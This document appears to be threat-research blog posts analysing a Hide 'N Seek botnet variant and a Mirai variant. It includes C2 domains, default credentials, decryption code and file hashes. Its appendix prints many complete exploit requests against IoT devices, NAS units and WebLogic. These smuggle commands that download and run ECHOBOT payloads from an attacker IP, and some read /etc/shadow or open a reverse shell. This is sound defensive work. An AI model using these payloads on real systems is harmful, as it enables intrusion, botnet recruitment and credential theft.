{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName(',27h,'java.lang.Runtime',27h,').getRuntime().exec(['flock','-w','0','/tmp/l%N','sh','-c','(wget http://%J/%T -O %N||/bin/busybox tftp -g -l %N -r %T %I)&&chmod 777 %N&&./%N a%J a%J',27h,'])"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

  • CVE-2018-20062, is an RCE vulnerability in ThinkPHP. This exploit has frequently been used by Mirai variants in the wild since its public disclosure, however this is the first observed use of it by Hide 'N Seek. The exploit format is shown below: 

GET /?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(wget%20http://%J/%T%20-O%20%N||/bin/busybox%20tftp%20-g%20-l%20%N%20-r%20%T%20%I);chmod%20777%20%N;./%N%20a%J%20a%J

HTTP/1.1

Host: %J

In addition, this Hide 'N Seek variant also exploits the following vulnerabilities which it has used in the past:

In addition to the two new exploits, this new variant also uses an XOR key of 0x87 for string encryption, which is different from previously seen variants. However, the encryption scheme used is the same as has been used by the malware family so far i.e. a cumulative byte-wise XOR. This is better explained by the IDApython code-snippet below:

key=0x87

for addr in range(strstart, strend):

     originalbyte = GetOriginalByte(addr)

     decryptedbyte = originalbyte^(key&0xff)

     PatchByte(addr, decryptedbyte)

     key += decryptedbyte

As seen in previous samples this malware family contains a list of hard-coded peers for P2P communication. The list of hard-coded peers in this new variant differs from samples seen in the past. The hard-coded peer IPs and ports in these samples can be found on our Github page here.

Conclusion

Since its discovery, the Hide `N Seek P2P Linux botnet has evolved to incorporate several new exploits to widen the range of devices it can infect. In this instance, the newly discovered variant added two recent vulnerabilities to its arsenal. In particular, it added an exploit targeting CVE-2019-7238, which, based on the dates of appearance of samples, makes this the earliest exploitation of the vulnerability in the wild.

Palo Alto Networks customers are protected by:

  • WildFire, which detects all related samples with malicious verdicts
  • Threat Prevention, which blocks all exploits used by this variant.

The malware family can be tracked in AutoFocus using the tag HideNSeek.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

First Seen SHA256 Targeted Architecture
2019-02-21 49495c9aa08d7859fec1f99f487560b59d8a8914811746181e4e7edbee85341f x86 64-bit
2019-02-21 d068e8f781879774f0bcc1f2a116211d41194b67024fe45966c8272a8038a7a1 ARM
2019-03-15 1583fd1c6607b77f51411c4ad7c9225324fd1b069645062a348cd885de0ac382

7e20c6cea88ade6a6c4a08ce48fe4ac2451069b7662a8dda4362a304b4854ec7

 ARM
2019-03-20 0b05202f4da9bbe1af1811707a76544453282c4f3c0ac9b353759c86742f4369 MIPS big endian
2019-03-22 73df4e952c581afc427fa18fa2d0bcfa409c1814cd872a3ccf05d44f934ce780 MIPS little endian
2019-05-24 c082c39e595c7f23c04ce0d6597657d6e649585d5da49b5bd896e664b712e60d MIPS big endian
2019-05-26 500dd4c1a5c24495c3bb8173ce5c7b15ba3344aef855090b9b9585b2bfeea974 x86

 Table 1. Sample IOCs for new Hide ‘N Seek variant

New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices

Posted on by Ruchna Nigam

Executive Summary

Palo Alto Networks Unit 42 has been tracking the evolution of the Mirai malware, known for targeting embedded devices with the primary intent of launching DDoS attacks and self-propagation, since 2016 when it took down several notable targets.

As part of this ongoing research, we’ve recently discovered a new variant of Mirai that has eight new exploits against a wide range of embedded devices. These newly targeted devices range from wireless presentation systems to set-top-boxes, SD-WANs, and even smart home controllers.

Mirai initially made use of default credentials to gain access to devices. However, since the end of 2017, samples of the family have increasingly been observed making use of publicly available exploits to propagate and run on vulnerable devices.

2018 saw a continued increase in the emergence of campaigns involving variants incorporating several exploits within the same sample, allowing for the harvesting of several different kinds of IoT devices into the same botnet.

Since then we have also observed Mirai malware authors experimenting with new exploits, found on the publicly available exploit-db, to gauge gains in bot count from the use of these exploits. This latest new variant we’ve observed and detailed in this post appears to be a continuation of the same trend.

Exploits

This latest variant contains a total of 18 exploits, 8 of which are new to Mirai. The vulnerabilities being exploited in the wild by this new Mirai variant for the first time are listed below with more details in Table 1 in the Appendix:

The new samples also include four exploits which have only been used by Mirai in the past:

These new samples also include exploits targeting the Oracle WebLogic Servers RCE vulnerability which has been used by both Linux and Windows botnets.

All of the exploits that have already been seen exploited by Mirai in the past have been listed in Table 3 in the Appendix.

Analysis

The new variant we have discovered also has other distinguishing features from the use of the exploits mentioned above.

  • The encryption key used for the string table is 0xDFDAACFD, which is the equivalent of a byte wise XOR with 0x54, based on the standard encryption scheme (as implemented in the toggle_obf function) used in the original Mirai source code.
  • There are several default credentials used for brute force we have not come across previously in our research (though we cannot confirm this is their first use with Mirai). These are listed in Table 2 in the Appendix along with the devices that make use of them - of note, all of these credentials can be found online.

Infrastructure

The samples were available at an open directory pictured in Figure 1:

Figure 1. Open directory hosting Mirai variant

Samples of this variant use two domains for C2, at different ports in the different versions, as explained below.

The latest version makes use of the two domains below for C2.

  • akuma[.]pw :17
  • akumaiotsolutions[.]pw:912

While the two domains don't currently resolve to any IP, a search on Shodan for the IP address hosting the samples, indicates port 17 at that address was used for C2 at some point of time. This is seen in the response recorded from port 17 in the screenshot which is the expected response from a Mirai C2 server based on how the C2 code is written in the original source code.

Figure 2. Shodan search result indicating 31.13.195[.]251:17 was used for C2 at one point

The directory hosting the malware was updated a couple of times, before the final version was uploaded at 26-May-2019 10:05 (server time). Each of the updates were minor where the attackers either edited C2 port numbers or slightly updated the payload.

File upload times:

  • 26-May-2019 10:05
  • 21-May-2019 16:34
  • 21-May-2019 08:38
  • 19-May-2019 06:05

The briefly available version from May 21, 2019 at 08:38 made use of the below two domains for C2. They are the same domains as used by the other samples (uploaded on prior or later dates) but the ports are different.

  • akuma[.]pw:1822
  • akumaiotsolutions[.]pw:721

Conclusion

This newly discovered variant is a continuation of efforts by Linux malware authors to scout for a wider range and thus, larger number, of IoT devices to form larger botnets thereby affording them greater firepower for DDoS attacks. Based on the results observed by using such variants, the exploits that are more effective i.e. the ones that infect a greater number of devices are retained or reused in future variants whereas the less effective ones are retired or replaced by malware authors with other exploits.

Palo Alto Networks customers are protected by:

  • WildFire which detects all related samples with malicious verdicts
  • Threat Prevention and PANDB that block all exploits and IPs/URLs used by this variant.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag Mirai.

Appendix

Vulnerability Affected Devices Exploit Format
CVE-2019-3929 Wireless Presentation Systems from several vendors  

POST /cgi-bin/file_transfer.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

 

file_transfer=new&dir='Pa_Notecd wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*Pa_Note
OpenDreamBox Remote Code Execution Devices running OpenDreamBox 2.0.0 - an embedded Linux distribution for Set-Top-Boxes POST /webadmin/script?command=|wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.* HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive
CVE-2018-6961 VMware NSX SD-WAN Edge < 3.1.2 POST /scripts/ajaxPortal.lua HTTP/1.1

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://www.vmware.com

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Cookie: culture=en-us

Connection: close

 

destination=8.8.8.8$(wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&source=192.168.0.1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic

name=google.com$(cat /etc/shadow |wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&test=DNS_TEST&requestTimeout=90&auth_token=&_cmd=run_diagnostic

destination=8.8.8.8$(cat /etc/shadow |wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&source=192.168.0.1&test=BASIC_PING&requestTimeout=90&auth_token=&_cmd=run_diagnostic

 
CVE-2018-7841 Schneider Electric U.motion LifeSpace Management Systems POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4

Content-Type: application/x-www-form-urlencoded

Content-Length: 86

 

op=export&language=english&interval=1&object_id=\x60wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60
Dell KACE Remote Code Execution Dell KACE Systems Management Appliances POST /service/krashrpt.php HTTP/1.1

Host: 192.168.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept: /

User-Agent: Hello-World

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

 

kuid=\x60id | wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60
CVE-2017-5174 Geutebrück IP Cameras POST /uapi-cgi/viewer/testaction.cgi HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

ip: eth0 1.1.1.1; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*

Accept: /

User-Agent: Hello-World

Connection: keep-alive
HooToo TripMate Remote Code Execution HooToo TripMate Routers POST /protocol.csp?function=set&fname=security&opt=mac_table&flag=close_forever&mac=|wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.* HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 
CVE-2018-11510 Asustor NAS Devices

Table 1. New exploits used in the Mirai variant

Default Credentials Affected Device(s)
blueangel/blueangel

root/abnareum10

root/Admin@tbroad

root/superuser

 Blue Angel Software Suite, an application that runs on embedded devices for VOIP/SIP services
admin/wbox123 WBOX IPCameras, NVRs, DVRs
admin/pfsense Netgate pfSense, an open source platform for traditional Firewall, VPN and Routing needs
admin/aerohive Aerohive devices, a networking hardware vendor
root/awind5885 Crestron AirMedia AM-100 Presentation Gateways
hadoop/123456

hadoop/hadoop@123

hadoop/hadoopuser

 Hadoop instances
root/ikwd Toshiba IP Cameras

Table 2. Unusual default credentials used in the Mirai variant

Vulnerability Affected Devices Exploit Format
CVE-2019-2725 Oracle WebLogic Servers POST /_async/AsyncResponseServiceHttps HTTP/1.1

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

User-Agent: Hello-World

Connection: close

Content-Type: text/xml

 

<soapenv:Envelope xmlns:soapenv=http://schemas.xmlsoap.org/soap/envelope/ xmlns:wsa=http://www.w3.org/2005/08/addressing xmlns:asy=http://www.bea.com/async/AsyncResponseService <soapenv:Header> <wsa:Action>xx</wsa:Action> <wsa:RelatesTo>xx</wsa:RelatesTo> </work:WorkContext> xmlns:work=http://bea.com/2004/06/soap/workarea/> <void class=java.lang.ProcessBuilder> <array class=java.lang.String length=3><void index=0><string>cmd</string></void><void index=1><string>wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*</string></void></array><void method=start/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

NB: The exploit is faulty and will not work due to an incorrect URL
CVE-2018-17173 LG Supersign TVs GET /qsrserver/device/getThumbnail?sourceUri=”+-;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f+|+/bin/sh+-i+2>&1+|+;wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*; >/tmp/f ;&targetUri=/tmp/thumb/test.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&=1537275717150 HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

User-Agent: Hello-World

Host: 192.168.0.1:9080

Connection: keep-alive
WePresent Command Injection WePresent WiPG-1000 Wireless Presentation systems POST /cgi-bin/rdfs.cgi HTTP/1.1

Host: 192.168.0.1:80

application/x-www-form-urlencoded

Content-Length: 1024 Client=;wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*;&Download=submit
ASUS DSL Modem Remote Code Execution ASUS DSL-N12E_C1 1.1.2.3_345 GET /Main_Analysis_Content.asp?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=www.target.com&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&applyFlag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=ping&destIP=wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*&pingCNT=5 HTTP/1.1

Host: 192.168.0.1:80

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

Connection: keep-alive

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: http://www.target.com/Main_Analysis_Content.asp

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9
Belkin WeMo Remote Code Execution Belkin WeMo Devices POST /upnp/control/basicevent1 HTTP/1.1

Host: 20.36.21.25:49152

Connection: keep-alive

Accept-Encoding: gzip, deflate Accept: */*

User-Agent: python-requests/2.18.4

SOAPAction: urn:Belkin:service:basicevent:1#SetSmartDevInfo

Content-Length: 393

 

<?xml version=1.0 encoding=utf-8?> <s:Envelope xmlns:s=http://schemas.xmlsoap.org/soap/envelope/ s:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/> <s:Body><u:SetSmartDevInfo xmlns:u=urn:Belkin:service:basicevent:1> <SmartDevURL>\x60wget http://31.13.195[.]251/ECHOBOT.x -O /tmp/ECHOBOT; chmod 777 /tmp/ECHOBOT; /tmp/ECHOBOT belkin\x60</SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope>
MiCasa VeraLite Remote Code Execution MiCasa VeraLite Smart Home Controllers POST /upnp/control/hag HTTP/1.1"

Host: %s:49451

Accept: text/javascript, text/html, application/xml, text/xml, */*

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

X-Prototype-Version: 1.7

Content-Type: text/xml;charset=UTF-8

MIME-Version: 1.0

Content-Length: 311

Connection: keep-alive

Pragma: no-cache

SOAPAction: urn:schemas-micasaverde-org:service:HomeAutomatio

nGateway:1#RunLua

 

<s:Envelope s:encodingStyle=

http://schemas.xmlsoap.org/soap/encoding/ xmlns:s=http://schemas.xmlsoap.org/soap/envelope/"><s:Body> <u:RunLua xmlns:u=urn:schemas-micasaverde-org:service:HomeAutomationGateway:1> <DeviceNum></DeviceNum> <Code>os.execute(\x60wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*\x60)</Code> </u:RunLua></s:Body></s:Envelope>
Netgear ReadyNas Remote Code Execution Netgear ReadyNas / NUUO NVRs POST /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*%205;%27 HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 

GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27; wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*;%27 HTTP/1.1

Host: 192.168.0.1:50000

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en
GoAhead Remote Code Execution IP cameras manufactured by GoAhead, Aldi, and several others GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192

.168.1.1&port=21&user=ftp&pwd=$(wget http://31.13.195[.]251/ECHOBOT.sh; curl -O http://31.13.195[.]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195[.]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195[.]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195[.]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.*)&dir=/&mode=PORT&upload_interval=0
CVE-2014-8361 Devices using the Realtek SDK with miniigd daemon POST /wanipcn.xml HTTP/1.1

Content-Length: 630

Accept-Encoding: gzip, deflate

SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping'

Accept: /

User-Agent: Hello-World

Connection: keep-alive

 

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>\x60cd /tmp; wget http://31.13.195[.]251/ECHOBOT.mips; chmod 777 ECHOBOT.mips; ./ECHOBOT.mips realtek\x60</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Table 3. Previously seen exploits used in the Mirai variant

Indicators of Compromise

26-May-2019 10:05 Samples

13d3b4545b18f41cf89ad9d278434b3fb60a702edebdde605ced745db47ce58d

22e33a16b03c2ca6b1e98b9c6fe1f1cc18d84eef4bb79247642ccf37960aaad8

25e959a071e631088816ed87991482b8776a81377f0fa7a8f53eca9a7af3afe1

2ad284d6297420e9cdb3a2bd9f0824c3122c861f37b58ea17675e0f5799f029e

36b1391b84f48a0f3b20b3831250b681dfa4a5aeb7a26816da723a06991d5029

73fe0ed1e85d547d19acd720b1d67fb94059a007a35f685b3bd16627879d4c47

7d9af41abec8cc93a9185dfdb256b864fa5c9e67e16192f718d7faa0e18177e8

95c7516abf8c738423cd18f0c905baa65d38ba5259b6853777550505019ba8cd

b73add38713b70ca529c8387275fca0bbf5f5488f2be5ebc17c4f1f34b06bd26

ed4d920cd54b87167d0ad2256bf996c8fdac3ac3bd5dd5ccb0b6c2d551226184

f02e2443c250e78877f9b184ab94693f4e8dba8c2191c9d03857664e71987976

f9ee7e0a4deac908e6fbacf7baa4f1d3bb138ebe2a3f9236a61f5d764181df0a

 21-May-2019 16:34 Samples

228ca519054dd62aadfa360fcf8f74e3072a4f6ffde521e47db233a604320a16

2f21e8ed1dce77c2cd0080c529043cff1c1ff5f22ba39dcd1a2220e17f273ba5

3c26c9db539b3c1b556b86dff3c5b0e819dbdce52234dda7025979d05ff9d188

65b03b40eafc60d0fa3b13c51dc1cfbc720e76d2a3b1f5f3c78de57856b8e60f

68e62724530401400724a75dd2fe07dc0db6a8373be7861d65896b33039c632f

81d63319951334eb8fb748d897a77f610d3250d795e0a134252e689f8db672c4

8f6f3834d292ef84eada500832efea3c45a0fc0261bc4be8888414bfe31803c3

9eebd384fa6d4d45648a74dfe0aad8fe2b9bc9b907e6f3b474ca77e83bbf63bb

c282ad7bb6558cbdcb4e7c07db4a7f201792dd250a31718d811b78e34fd6a283

d5ea253efcc042ee0a85ffdd4673738b5859ddacabca06dc2ff11f81b7d0983f

dbf70f849e09441af668245f3ba7491be227447c36e7244bbbf2787e503599a7

21-May-2019 08:38 Samples

2dd89d8214c76b3ce7b6a301ad8256fba5ac9f3e4c0b3e10e14c6075764f0e4d

5091da1a1fa51f77ac64f75ab9c23da88469160f040a189ec1e6a0e952a26720

563afb05bb5a68c8b235143dde081c44e06ed2674681629c60116ce1b92a7cee

61d18166f39ccdc85e51e9a6cd1a8ec7f8c1c1d227d84b9ca94ef847d0b1a79c

6cdce7758468685f8c125bff2c3c1f196fe43f30e10c7fb643a67b7d5e2ae2f2

83841e5f965cb7e03bf5f0c5da217a22b307ddd138a3b8b8ec5dc8f111f26165

8ba26e98710f3e55677a7eaea19a656e3ef7136e94f81ecb5b05cfdc96586d65

9476bfe1eb99b00c02a3a6c539d1a060b87e4c53617fa5b2949cdd44c1cbc92b

b4443e1bbd27062c8eb2bfd791483a777ac003ce8d47a9ce43f2861f0ad70f94

c2440a1e19ae8f527061a666fa59eb457f3c1c8f6d5b981f9c1f5bf8a4c62f61

f64cad4ce4af8debf1951d4deca0dd86acd3a83409140cb0544ea27d155e04ab

19-May-2019 06:05 Samples

